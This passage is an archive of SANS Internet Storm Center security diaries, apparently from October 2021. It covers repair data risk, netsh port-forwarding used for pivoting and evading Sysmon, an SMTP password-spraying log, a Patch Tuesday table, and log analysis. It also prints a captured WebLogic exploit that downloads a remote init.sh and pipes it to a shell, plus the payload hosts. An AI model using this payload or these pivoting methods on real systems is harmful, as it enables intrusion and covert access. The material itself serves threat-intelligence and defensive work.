Tag Archives: SANS

Warranty Repairs and Non-Removable Storage Risks, (Fri, Oct 15th)

This post was originally published on this site

I have been asked several times in recent months about addressing risks of warranty repair service of laptops/tablets.  With each of these situations, the question boiled down to the same underlying issue: non-removable storage.  “It depends” has been my standard response, as there are many key factors to accurately framing the response.  Organizational policies which defines their risk appetite and/or external regulations typically characterize what can be done.

 

The organization’s policies and general risk appetite are the first place to look for guidance. Media sanitization policies may reference how to handle a situation where a device begins to fail. 

One of the people who asked this question works within a small financial services/tax preparation organization.  About 10 years ago, the organization had invested in one of the big four audit firms to review their operations which resulted in several policies being written and procedure changes.  One of these policies stated that “hard drives, thumb drives, and other forms of digital media must be removed and destroyed prior to desktop or laptops leaving the organization.”  This made perfect sense at the time due to how much sensitive PII was being processed each year and the types of issues were being reported in the mass media at the time.  That organization framed their policy around the idea that drives would be removed from desktops and laptops at the end of their useful life span as they had no risk appetite for showing up in the news.  But, that policy had not been updated to fit the changing world in the past decade, or really consider what to do with warranty services.

The classification of data which was being stored/processed on the device can direct one to device sanitization guidelines.  Regulations around this activity can also detail what can be done.

Another colleague broached a question about how best perform a warranty repair on a Microsoft Surface.  Their organization utilizes a 4-layer data classification standard where the top levels of restricted data must follow NIST controls.  NIST 800-171 Control 3.7.3 has a control statement of “Ensure equipment removed for off-site maintenance is sanitized of any CUI.”  Further, control 3.8.3 states “Sanitize or destroy information system media containing CUI before disposal or release for reuse.” Similar language exists in NIST 800-53, HIPAA, and other similar frameworks. 

We spent a few hours talking through this situation and developed a flow chart that seems to work based on their local policies and risk appetite. AND it accounts for the type of data being stored/processed on that asset. 

  1. If the storage is removable, then remove it prior to sending to warranty repair.
  2. If the storage is non-removable and the system is operational, utilize one of several NIST compliant tools/techniques to wipe out any sensitive data.
  3. If the storage is non-removable and the system is non-functional, then base next steps on data classification. 
    1. Public data classification would be acceptable risk for the organization to send off to be repaired.
    2.  The higher level classifications would require multiple tasks such as communication to the CTO/CISO/Risk Management team about the failed asset, validating that a BAA is in place with the repair vendor (for HIPAA), and working through hurdles of ensuring that the damaged device was transported to the repair vendor and return was tracked. 

In these discussions, the organization might choose to fully replace the device rather than take the risk of sending off for repair based on the reputational risks.  This could create an un-intended consequence depending on budget model of the organization.  Depending on which budget take the hit for replacing the asset, low-level managers may improperly attest an asset as being “public” data or otherwise hide repairs rather than replacing outright.

In these scenarios, much of the discussions related to risk.  How do we avoid the risk, transfer the risk to others, or at least mitigate the risk to some degree.  It would be no surprise to anyone that the world changed significantly in the past year.  Among those changes included the pure number of laptops, tablets, and similar assets that were deployed in most organizations for the suddenly remote work force. 

Due to the changes, we all need to be carefully looking over our policies and having discussions with internal audit, IT leadership, information security, and risk management teams about warranty repairs for our individual organizations.    What are you all seeing in your industries or organizations with how to handle warranty repairs?

Scott Fendley ISC Handler

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Port-Forwarding with Windows for the Win, (Thu, Oct 14th)

This post was originally published on this site

A feature that I use often is the port-forwarding capability implemented in the SSH protocol. It’s very convenient for pivoting inside a network or accessing a resource that is not directly reachable. Think about a management console that binds on the loopback interface of a server (which is good from a security point of view). How to access it remotely? SSH to the rescue!

Connect to the server with this command:

$ ssh -L 4443:127.0.0.1:443 user@server

Now, you are able to access the web interface via: https://127.0.0.1:4443/.

If you need to pivot internally, use “server” as a jump host:

$ ssh -L 4443:192.168.10.12:443 user@server

That's nice but what if the host you are jumping into is running Windows? How to achieve the same?

Microsoft provides an interesting tool to play with the network settings: netsh.exe[1]. I like to refer to it as the "Windows network Swiss army knife tool"! You can achieve the same as SSH using the "portproxy" feature.

Example:

C:> netsh interface portproxy add v4tov4 listenport=8080 connectport=80 connectaddress=127.0.0.1
C:> netsh advfirewall firewall add rule name="Port Forward 8080" protocol=TCP localport=8080 action=allow dir=IN

This forward incoming requests on port 8080 to the loopback on port 80 (line 1). Note that you need to allow the traffic in the Windows firewall (line2). Let's test by launching a quick Python web server:

C:> python -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...

From another computer, try to access the webserver:

$ curl -v http://192.168.131.2:8080
* Trying 192.168.131.2...
* TCP_NODELAY set
* Connected to 192.168.131.2 (192.168.131.2) port 8080 (#0)
> GET / HTTP/1.1
> Host: 192.168.131.2:8080
> User-Agent: User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
> Referer: http://www.google.com/search?hl=en&q=web&aq=f&oq=&aqi=g1
> Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
> Accept-Language: en-us
> Connection: Keep-Alive
>
* HTTP 1.0, assume close after body
< HTTP/1.0 200 OK
< Server: SimpleHTTP/0.6 Python/3.9.7
< Date: Thu, 14 Oct 2021 05:02:35 GMT
< Content-type: text/html; charset=utf-8
< Content-Length: 253873
<
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
...

The Python webserver will log this:

::ffff:127.0.0.1 - - [14/Oct/2021 06:02:35] "GET / HTTP/1.1" 200 -

Now, let's try to access a remote resource:

C:> netsh interface portproxy add v4tov4 listenport=4443 connectport=443 connectaddress=142.250.181.238
C:> netsh advfirewall firewall add rule name="Open port 4443" protocol=TCP localport=4443 action=allow dir=IN

This will allow us to access Google through the Windows host:

$ curl -k https://192.168.131.2:4443
<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8">
<TITLE>301 Moved</TITLE></HEAD><BODY>
<H1>301 Moved</H1>
The document has moved
<A HREF="http://www.google.com:4443/">here</A>.
</BODY></HTML>

This technique is interesting for both attackers and defenders! From an attacker's point of view, you can easily pivot inside a network and cover your tracks. From a defender's perspective, you can quickly access a resource without reconfiguring it (for example if listening to the loopback interface only).

From a forensics point of view, keep in mind that an attacker will easily hide suspicious processes because all the connections will appear to come from svchost! (like a native system call doing the job). This is nice to defeat Sysmon rules trying to detect network connections performed by non-regular processes. You will see the connections showing up as:

Service Name : iphlpsvc
Display Name : IP Helper
Binary Path  : svchost.exe -k NetSvcs

When investigating suspicious network traffic, you can always check if portproxy has been configured:

C:> netsh interface portproxy show all

Listen on ipv4:             Connect to ipv4:

Address         Port        Address         Port
--------------- ----------  --------------- ----------
*               8080        127.0.0.1       80
*               4443        142.250.181.238 443

If you already used this technique or if you've practical cases, feel free to share in the comments!

[1] https://docs.microsoft.com/en-us/windows-server/networking/technologies/netsh/netsh-contexts

Xavier Mertens (@xme)
Senior ISC Handler – Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Please fix your E-Mail Brute forcing tool!, (Wed, Oct 13th)

This post was originally published on this site

Recently, I am seeing a lot of identical failed login attempts against my mail server. Just today, about 130,000 of them. The vast majority (124k+) come from one subnet: 31.130.184.0/24

inetnum:        31.130.176.0 – 31.130.191.255
mnt-domains:    RER-MNT
netname:        RoshangaranErtebatatRayaneh
country:        IR
org:            ORG-RER3-RIPE
admin-c:        MRMG6-RIPE
tech-c:         MRMG6-RIPE

Brute force attempts by themselves are not that special, but these are in particular annoying as the tool they are using appears to be broken. Here is the complete login attempt (they all look exactly the same):

[Blue: data from server, Red: data from client]

It starts harmless enough with my mail server sending a standard banner

220 mail.localdomain ESMTP Postfix (Debian/GNU)

The "attacker" responds with an EHLO. The "localhost" is a bit odd, but well, I told them that I am mail.localdomain. So I will take that.

   EHLO localhost

As it should in response to an "EHLO", my mail server will list its capabilities. Note that the client is not taking advantage of STARTTLS.

250-mail.localdomain
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250-STARTTLS
250-AUTH PLAIN LOGIN
250-AUTH=PLAIN LOGIN
250-ENHANCEDSTATUSCODES
250-8BITMIME
250-DSN
250 CHUNKING

Insert the Client "resets" the connect. Bit odd, and I probably should drop things here. But I am always interested in seeing where things go…

   RSET

So I am responding with a standard "OK".

250 2.0.0 Ok

The client now attempts to "Login"

   AUTH LOGIN

As common for "AUTH LOGIN", my mail server responds with a base64 encoded string "Username:". I am sure the bot appreciates that my mail server tells it what to send next.

334 VXNlcm5hbWU6

The username, also base64 encoded, is "nan".

   bmFu

For those of you familiar with Base64 (or standard logins), you will probably know what comes next: "Password:"

334 UGFzc3dvcmQ6

The password sent: Nan (upper case N unlike the username).

   TmFu

Sadly, this fails… and I send you an error telling you so.

535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6

   QUIT

221 2.0.0 Bye

Ok. The attacker is going at this all day long, the strategy appears to be more "password spraying" than "brute forcing" as it does not attempt too many attempts on a particular account. I don't believe they even bother with using leaked credentials of mine, but instead they just simply go for volume.

There are a number of ways how this attack could be a lot more effective:

  • Use more IP addresses. I long blocked that /24 and it still keeps coming.
  • Figure out if the usernames actually exist. It isn't that hard. Don't waste your time on nonexisting accounts
  • Use better password lists
  • Try this against a government network. They may (a) be not as well protected and (b) have more valuable data.


Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Microsoft October 2021 Patch Tuesday, (Tue, Oct 12th)

This post was originally published on this site

This month we got patches for 81 vulnerabilities. Of these, 3 are critical, 3 were previously disclosed and 1 is being exploited according to Microsoft.

The exploited vulnerability (CVE-2021-40449) is an elevation of privilege affecting Win32k on virtually all supported Windows versions. According to the advisory, a local attacker may elevate privileges with no user interactions. 

Among critical vulnerabilities, there are two Windows Hyper-V Remote Code Execution Vulnerability (CVE-2021-40461 and CVE-2021-38672) affecting multiple versions of Windows 10, 11 and Server. An attacker within the same physical or logical network with low privileges and no user interaction could exploit this vulnerability to execute code on the targeted system. The CVSS V3 for both vulnerabilities is 8.0. The third critical vulnerabilty is the Microsoft Word Remote Code Execution Vulnerability (CVE-2021-40486) with the CVSS V3 of 7.8.

Another vulnerability worth mentioning due to recent vulnerabilities involving the print spooler, albeit without much detail, is the Windows Print Spooler Spoofing Vulnerability (CVE-2021-36970). The CVSS V3 for this vulnerability is 8.8 and the exploitability assessment is 'Exploitation more likely'.

The highest CVSS v3 this month (9.0) was associated to the Microsoft Exchange Server Remote Code Execution Vulnerability (CVE-2021-26427). According to the advisory, the attack vector for this vulnerablity is 'adjacent', which means the attack can not be done accross the internet. The vulnerabilty affects Windows Exchange Server on versions 2013, 2016 and 2019.

See my dashboard for a more detailed breakout: https://patchtuesdaydashboard.com/

October 2021 Security Updates

Description
CVE Disclosed Exploited Exploitability (old versions) current version Severity CVSS Base (AVG) CVSS Temporal (AVG)
.NET Core and Visual Studio Information Disclosure Vulnerability
%%cve:2021-41355%% No No Less Likely Less Likely Important 5.7 5.0
Active Directory Federation Server Spoofing Vulnerability
%%cve:2021-41361%% No No Less Likely Less Likely Important 5.4 4.7
Active Directory Security Feature Bypass Vulnerability
%%cve:2021-41337%% No No Less Likely Less Likely Important 4.9 4.3
Chromium: CVE-2021-37974 Use after free in Safe Browsing
%%cve:2021-37974%% No No    
Chromium: CVE-2021-37975 Use after free in V8
%%cve:2021-37975%% No No    
Chromium: CVE-2021-37976 Information leak in core
%%cve:2021-37976%% No No    
Chromium: CVE-2021-37977 Use after free in Garbage Collection
%%cve:2021-37977%% No No    
Chromium: CVE-2021-37978 Heap buffer overflow in Blink
%%cve:2021-37978%% No No    
Chromium: CVE-2021-37979 Heap buffer overflow in WebRTC
%%cve:2021-37979%% No No    
Chromium: CVE-2021-37980 Inappropriate implementation in Sandbox
%%cve:2021-37980%% No No    
Console Window Host Security Feature Bypass Vulnerability
%%cve:2021-41346%% No No Less Likely Less Likely Important 5.3 4.6
DirectX Graphics Kernel Elevation of Privilege Vulnerability
%%cve:2021-40470%% No No More Likely More Likely Important 7.8 6.8
Intune Management Extension Security Feature Bypass Vulnerability
%%cve:2021-41363%% No No Less Likely Less Likely Important 4.2 3.8
Microsoft DWM Core Library Elevation of Privilege Vulnerability
%%cve:2021-41339%% No No Less Likely Less Likely Important 4.7 4.2
Microsoft Dynamics 365 (on-premises) Cross-site Scripting Vulnerability
%%cve:2021-41354%% No No Important 4.1 3.6
Microsoft Dynamics 365 (on-premises) Spoofing Vulnerability
%%cve:2021-41353%% No No Important 5.4 4.7
Microsoft Dynamics 365 Customer Engagement Cross-Site Scripting Vulnerability
%%cve:2021-40457%% No No Less Likely Less Likely Important 7.4 6.9
Microsoft Excel Information Disclosure Vulnerability
%%cve:2021-40472%% No No Less Likely Less Likely Important 5.5 4.8
Microsoft Excel Remote Code Execution Vulnerability
%%cve:2021-40471%% No No Less Likely Less Likely Important 7.8 6.8
%%cve:2021-40473%% No No Less Likely Less Likely Important 7.8 6.8
%%cve:2021-40474%% No No Less Likely Less Likely Important 7.8 6.8
%%cve:2021-40479%% No No Less Likely Less Likely Important 7.8 6.8
%%cve:2021-40485%% No No Less Likely Less Likely Important 7.8 6.8
Microsoft Exchange Server Denial of Service Vulnerability
%%cve:2021-34453%% No No Less Likely Less Likely Important 7.5 6.5
Microsoft Exchange Server Elevation of Privilege Vulnerability
%%cve:2021-41348%% No No Less Likely Less Likely Important 8.0 7.0
Microsoft Exchange Server Remote Code Execution Vulnerability
%%cve:2021-26427%% No No Less Likely Less Likely Important 9.0 7.8
Microsoft Exchange Server Spoofing Vulnerability
%%cve:2021-41350%% No No Less Likely Less Likely Important 6.5 5.7
Microsoft Office Visio Remote Code Execution Vulnerability
%%cve:2021-40480%% No No Less Likely Less Likely Important 7.8 6.8
%%cve:2021-40481%% No No Less Likely Less Likely Important 7.1 6.2
Microsoft SharePoint Server Information Disclosure Vulnerability
%%cve:2021-40482%% No No Less Likely Less Likely Important 5.3 4.8
Microsoft SharePoint Server Remote Code Execution Vulnerability
%%cve:2021-41344%% No No More Likely More Likely Important 8.1 7.1
%%cve:2021-40487%% No No More Likely More Likely Important 8.1 7.1
Microsoft SharePoint Server Spoofing Vulnerability
%%cve:2021-40483%% No No Less Likely Less Likely Low 7.6 6.6
%%cve:2021-40484%% No No Less Likely Less Likely Important 7.6 6.6
Microsoft Windows Media Foundation Remote Code Execution Vulnerability
%%cve:2021-41330%% No No Less Likely Less Likely Important 7.8 6.8
Microsoft Word Remote Code Execution Vulnerability
%%cve:2021-40486%% No No Less Likely Less Likely Critical 7.8 6.8
OpenSSL: CVE-2020-1971 EDIPARTYNAME NULL pointer de-reference
%%cve:2020-1971%% No No Less Likely Less Likely Important    
OpenSSL: CVE-2021-3449 NULL pointer deref in signature_algorithms processing
%%cve:2021-3449%% No No Less Likely Less Likely Important    
OpenSSL: CVE-2021-3450 CA certificate check bypass with X509_V_FLAG_X509_STRICT
%%cve:2021-3450%% No No Unlikely Unlikely Important    
Rich Text Edit Control Information Disclosure Vulnerability
%%cve:2021-40454%% No No Less Likely Less Likely Important 5.5 5.1
SCOM Information Disclosure Vulnerability
%%cve:2021-41352%% No No Less Likely Less Likely Important 7.5 6.5
Storage Spaces Controller Elevation of Privilege Vulnerability
%%cve:2021-40478%% No No Less Likely Less Likely Important 7.8 6.8
%%cve:2021-40488%% No No Less Likely Less Likely Important 7.8 6.8
%%cve:2021-40489%% No No Less Likely Less Likely Important 7.8 6.8
%%cve:2021-26441%% No No Less Likely Less Likely Important 7.8 6.8
%%cve:2021-41345%% No No Less Likely Less Likely Important 7.8 6.8
Win32k Elevation of Privilege Vulnerability
%%cve:2021-40449%% No Yes Detected Detected Important 7.8 7.2
%%cve:2021-40450%% No No More Likely More Likely Important 7.8 6.8
%%cve:2021-41357%% No No More Likely More Likely Important 7.8 7.2
Windows AD FS Security Feature Bypass Vulnerability
%%cve:2021-40456%% No No Less Likely Less Likely Important 5.3 4.6
Windows AppContainer Elevation Of Privilege Vulnerability
%%cve:2021-40476%% No No Less Likely Less Likely Important 7.5 6.7
Windows AppContainer Firewall Rules Security Feature Bypass Vulnerability
%%cve:2021-41338%% Yes No Less Likely Less Likely Important 5.5 5.0
Windows AppX Deployment Service Elevation of Privilege Vulnerability
%%cve:2021-41347%% No No Less Likely Less Likely Important 7.8 6.8
Windows Bind Filter Driver Information Disclosure Vulnerability
%%cve:2021-40468%% No No Less Likely Less Likely Important 5.5 4.8
Windows Cloud Files Mini Filter Driver Information Disclosure Vulnerability
%%cve:2021-40475%% No No Less Likely Less Likely Important 5.5 4.8
Windows Common Log File System Driver Elevation of Privilege Vulnerability
%%cve:2021-40443%% No No More Likely More Likely Important 7.8 6.8
%%cve:2021-40466%% No No More Likely More Likely Important 7.8 6.8
%%cve:2021-40467%% No No More Likely More Likely Important 7.8 6.8
Windows DNS Server Remote Code Execution Vulnerability
%%cve:2021-40469%% Yes No Less Likely Less Likely Important 7.2 6.5
Windows Desktop Bridge Elevation of Privilege Vulnerability
%%cve:2021-41334%% No No Less Likely Less Likely Important 7.0 6.1
Windows Event Tracing Elevation of Privilege Vulnerability
%%cve:2021-40477%% No No Less Likely Less Likely Important 7.8 6.8
Windows Fast FAT File System Driver Information Disclosure Vulnerability
%%cve:2021-38662%% No No Less Likely Less Likely Important 5.5 4.8
%%cve:2021-41343%% No No Less Likely Less Likely Important 5.5 4.8
Windows Graphics Component Remote Code Execution Vulnerability
%%cve:2021-41340%% No No Less Likely Less Likely Important 7.8 6.8
Windows HTTP.sys Elevation of Privilege Vulnerability
%%cve:2021-26442%% No No Less Likely Less Likely Important 7.0 6.1
Windows Hyper-V Remote Code Execution Vulnerability
%%cve:2021-38672%% No No Less Likely Less Likely Critical 8.0 7.0
%%cve:2021-40461%% No No Less Likely Less Likely Critical 8.0 7.0
Windows Installer Spoofing Vulnerability
%%cve:2021-40455%% No No Less Likely Less Likely Important 5.5 4.8
Windows Kernel Elevation of Privilege Vulnerability
%%cve:2021-41335%% Yes No Less Likely Less Likely Important 7.8 7.0
Windows Kernel Information Disclosure Vulnerability
%%cve:2021-41336%% No No Less Likely Less Likely Important 5.5 4.8
Windows MSHTML Platform Remote Code Execution Vulnerability
%%cve:2021-41342%% No No Less Likely Less Likely Important 6.8 6.1
Windows Media Audio Decoder Remote Code Execution Vulnerability
%%cve:2021-41331%% No No Less Likely Less Likely Important 7.8 6.8
Windows Media Foundation Dolby Digital Atmos Decoders Remote Code Execution Vulnerability
%%cve:2021-40462%% No No Less Likely Less Likely Important 7.8 6.8
Windows NAT Denial of Service Vulnerability
%%cve:2021-40463%% No No Less Likely Less Likely Important 7.7 6.7
Windows Nearby Sharing Elevation of Privilege Vulnerability
%%cve:2021-40464%% No No Less Likely Less Likely Important 8.0 7.0
Windows Print Spooler Information Disclosure Vulnerability
%%cve:2021-41332%% No No Less Likely Less Likely Important 6.5 5.7
Windows Print Spooler Spoofing Vulnerability
%%cve:2021-36970%% No No More Likely More Likely Important 8.8 8.2
Windows Remote Procedure Call Runtime Security Feature Bypass Vulnerability
%%cve:2021-40460%% No No Less Likely Less Likely Important 6.5 5.7
Windows TCP/IP Denial of Service Vulnerability
%%cve:2021-36953%% No No Less Likely Less Likely Important 7.5 6.5
Windows Text Shaping Remote Code Execution Vulnerability
%%cve:2021-40465%% No No Less Likely Less Likely Important 7.8 6.8
Windows exFAT File System Information Disclosure Vulnerability
%%cve:2021-38663%% No No Less Likely Less Likely Important 5.5 4.8


Renato Marinho
Morphus Labs| LinkedIn|Twitter

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Things that go "Bump" in the Night: Non HTTP Requests Hitting Web Servers, (Mon, Oct 11th)

This post was originally published on this site

If you are reviewing your web server logs periodically, you may notice some odd requests that are not HTTP requests in your logs. In particular if you have a web server listening on a non standard port. I want to quickly review some of the most common requests like that, that I am seeing:

t3 12.2.1

You may see a few variations of requests like that. For example "t3 12.1.1" is common as well. These requests are attempting to connect to WebLogic. WebLogic is able to accept data via HTTP (see Guy's diary from this weekend for some example) or it may use the "t3" protocol. "t3" is one way to use "RMI" (Remote Method Invocation) via WebLogic. Due to a few criticial vulnerabilities in WebLogic in recent years, some of which may be exploited via "t3", scans for "t3" are quite common.

CNXN

Android Debug Bridge (ADB) is a protocol that can be used to remotely debug Android devices. Remember that Android is not only used for phones, but also on other devices in particular TV sticks. ADB hasn't been enabled (or simply remotely usable) for many years, but the ability to exeucte arbitrary commands using this propocol is still attractive enough to lead to widespread scanning. I believe that the main target are TV sticks as they tend to be more difficult to update than phones.

SSH-2.0-Go

SSH servers are always of interest. Some users appearantly "hide" them on ports more often used by web server. I got bad news for you: The bad guys figured you out. Hiding an ssh server on an off port worked years ago, and still keeps down the "Mirai" noise a bit. But please: use ssh keys, not passwords.

USER anonymous

Yes, there are still some people using FTP. The boomer file transfer protocol? Really not sure what attackers are hoping to find other than data that has probably already been leaked many many time. They could look for ways to stash some files? But I doubt there are many FTP servers left that have anonymous FTP upload enabled and still disk space left.

x16x03x01

This is actually HTTP (likely), but over TLS. If an https request hits a non-TLS server, you will see the beginning of the client hello being logged. The first four bytes are often 0x16 0x03 0x01 (0x16 – Handshake 0x03,0x01 TLS Version 1.2). The fourth byte is a 0x00, terminating the string as far as logging is concerned. You may see various variations of this.

And finally, a few I have no idea what they attempt to achive. Maybe one of our readers can help?

x05x04

x80.x01

x01defaultn

Let me know if you have any ideas… or other odd non-http logs from your web servers.

 


Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Scanning for Previous Oracle WebLogic Vulnerabilities, (Sat, Oct 9th)

This post was originally published on this site

In the past few weeks, I have captured multiple instance of traffic related to some past Oracle vulnerabilities that have already been patched. The first is related to a RCE (CVE-2017-10271) that can be triggered to execute commands remotely by bypassing the CVE-2017-3506 patch's limitations. The POST contains an init.sh script which doesn't appear to be available for download.

The second example is a vulnerability in the Oracle WebLogic Server component related to a Deserialization Vulnerability (CVE-2019-2725).

Traffic Examples

20210929-120748: 192.168.25.9:7001-47.106.191.51:36562 data
POST /wls-wsat/CoordinatorPortType11 HTTP/1.1
Host: XX.XX.42.114:7001
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)
Content-Length: 611
Connection: close
Content-Type: text/xml
Accept-Encoding: gzip
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java version="1.8.0_131" class="java.beans.XMLDecoder"><void class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index="0"><string>/bin/bash</string></void><void index="1"><string>-c</string></void><void index="2"><string>cur -fsSL http://45.9.148.37/E5DB0E07C3D7BE80V201007/init.sh |sh</string> </void> </array> <void method="start"/></void></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>

20211007-185800: 192.168.25.9:7001-185.128.41.50:39004 data
POST /_async/AsyncResponseService HTTP/1.1
SOAPAction:
Content-type: text/xml
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Connection: close
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.5
Content-Length: 1028
Cache-Control: no-cache
Pragma: no-cache
Host: XX.XX.42.114:7001

Indicators -> /wls-wsat/

45.9.148.37/E5DB0E07C3D7BE80V201007/init.sh
45.9.148.37/cf67356a3333e6999999999/init.sh
185.181.10.234/E5DB0E07C3D7BE80V520/init.sh
helpdeskserver.epelcdn.com/dd210131/init.sh
startbinmanager.epelcdn.com/dd09162/init.sh

[1] https://github.com/s0wr0b1ndef/Oracle-WebLogic-WLS-WSAT
[2] https://www.acunetix.com/vulnerabilities/web/oracle-weblogic-wls-wsat-component-deserialization-rce/
[3] https://nvd.nist.gov/vuln/detail/CVE-2017-3506
[4] https://nvd.nist.gov/vuln/detail/CVE-2017-10271
[5] https://nvd.nist.gov/vuln/detail/CVE-2019-2725
[6] https://nvd.nist.gov/vuln/detail/CVE-2019-2729
[7] https://isc.sans.edu/forums/diary/Update+about+Weblogic+CVE20192725+Exploits+Used+in+the+Wild+Patch+Status/24890
[8] https://isc.sans.edu/forums/diary/Unpatched+Vulnerability+Alert+WebLogic+Zero+Day/24880/
[9] https://isc.sans.edu/forums/diary/Cryptojacking+Targeting+WebLogic+TCP7001/26768

———–
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Sorting Things Out – Sorting Data by IP Address, (Fri, Oct 8th)

This post was originally published on this site

One thing that is huge in making sense of large volumes of data is sorting.  Which makes having good sorting tools and methods a big deal when you are working through findings in a security assessment of pentest.  Or – just as importantly – in day-to-day system administration.

I stumbled into a Twitter thread last week (as one does) about sorting by IP address, and it struck me that the lowly “sort” command has changed quite a bit since I last read the man page completely for it (back in the ‘80’s, in the Bell Labs Unix books.  And yes, they were printed on paper). 

No matter if you are in the red team or the blue team, you’re forever having to sort hostnames or IP addresses, sort findings / vulnerabilities by hostname or IP, or sort hostnames by vulnerabilities / findings.

So let’s look at sorting by IP.  For this, we can use the “-V” (or –version-sort) argument of the sort command.  This sorts things by “version”  (as in decimal separated numeric strings).  This option matches up very nicely to what you want if you are sorting by IPv4 address, which is also a series of point-separated numeric strings. Let’s find the IP’s in my lab that have SSH open, then reverse-sort them by IP address:

# nmap –p22 –open 192.168.122.0/24 –oG ips.txt

# cat ips.txt | grep Host: | cut -d " " -f 2 | sort -Vr | uniq

192.168.122.186

192.168.122.176

192.168.122.113

192.168.122.101

192.168.122.51

192.168.122.8

192.168.122.7

192.168.122.6

192.168.122.5

192.168.122.1

 (thanks @flakpaket for this tidbit, this is an option that wasn’t in the paper Bell Labs Unix manuals back in the day!)

Or, what if you’ve got a list of files – for instance syslog files with IP addresses for filenames that you might want to sort?  The option for ls to sort by version is a lower case “v”.  Adding a “1” tells ls to give you the output as one line per file:

robv@ubuntu:/syslog$ ls -v1

192.168.122.1.txt

192.168.122.82.txt

192.168.122.83.txt

192.168.122.84.txt

192.168.122.92.txt

192.168.122.93.txt

192.168.122.94.txt

192.168.122.100.txt

192.168.122.254.txt

 

 (also thanks to @flakpaket, this was also new to me!)

What if you’re on an older version of Linux – or (as I am some days), you’re on an older Windows host that has GNUtils installed instead of WSL?  In that case, you can tell sort to delimit your output with a “.”, then tell it which fields to sort on (in this case, fields 1-2-3-4).  This is an oldy, and the one that’s in my personal cheat-sheet from forever ago (but mentioned by @totalclaireity in this same thread)

$ ls /syslog | sort  -r -t . -k 1,1n -k 2,2n -k 3,3n -k 4,4n

Or, since everything is in the same /24 subnet, we can just sort by the 4th octet:

$ ls /syslog | sort  -r -t . -k 4,4n

What about PowerShell?  In that same thread, @mdjxkln shows us that there’s a version option for PowerShell as well:

$ips = nmap -p22 –open 192.168.122.0/24 | grep report |cut -d" " -f 5

$ips |sort {[version] $_}

192.168.122.1

192.168.122.5

192.168.122.6

192.168.122.7

192.168.122.8

192.168.122.51

192.168.122.101

192.168.122.102

192.168.122.113

192.168.122.120

192.168.122.176

192.168.122.186

192.168.122.194

Or, in a bit more readable format:

$ips | sort {$_ -as [version]}

In another use case, let’s check all hosts in a domain (and yes, I did shorten this list), then sort them by IP:

$pcs = get-adcomputer -filter * -property Name,dnshostname,OperatingSystem,Operatingsystemversion,LastLogonDate,IPV4Address

PS C:Usersrobv> $pcs | Sort-Object { $_.IPV4Address -as [version]} | Select-Object name,IPV4Address

SAMETIME        32.69.129.51

HIGHRIDGE       32.69.129.82

AMADA-SVR       32.69.129.84

RECEIVING-DTP   32.69.129.88

STEVE-LTP    32.69.129.91

CSIPRINT        32.69.129.95

AVAYAVMAIL      32.69.129.99

BARTENDER       32.69.129.109

UNIONOFFICE2-DTP   32.69.129.117

SHIPPING1-DTP   32.69.129.129

ALUM-DTP        32.69.129.137

PUNCHPRESS2-DTP      192.168.6.31

LOBBY-DTP       192.168.6.41

MARKETING-DTP   192.168.6.49

ENGLOANER2-LTP  192.168.253.25

How can you make sorting easier?  Naming Conventions is the traditional answer to that.  Naming conventions are like belly buttons – everyone has one, and everyone’s is different!    The important thing when setting one up is to keep in mind that you'll be using tools like sort and grep (or the PowerShell / Python equivalents), find and findstr in Windows, or Excel once you start formatting your output, and work your naming convention to take advantage of that. 

Have I missed any neat sort methods that you use daily?  Or is there a more effiicient syntax for what I've shown in this post?  Very likely – please, use our comment section to add to these methods!

References:

Thanks of course to @flakpaket (Jon Gorenflo) who started the twitter thread:

https://twitter.com/flakpaket/status/1445419600624095236

$ man sort  (of course)

https://community.idera.com/database-tools/powershell/powertips/b/tips/posts/sort-ipv4-addresses-correctly

And of course SANS SEC505: https://www.sans.org/cyber-security-courses/securing-windows-with-powershell/

===============
Rob VandenBrink
rob <at> coherentsecurity.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Who Is Hunting For Your IPTV Set-Top Box?, (Thu, Oct 7th)

This post was originally published on this site

Ever considered starting a company to create software for TV channel distribution over IP? It is big business with service providers "converging" their networks. Everything is better over IP. Why not TV? Having TVs and set-top boxes with two-way IP connectivity allows you to collect all kinds of data from your users. Imagine you cannot only charge people for the content, but you can also sell their data to advertisers. You will know exactly what they watch and when. Are they flipping channels during commercials? 

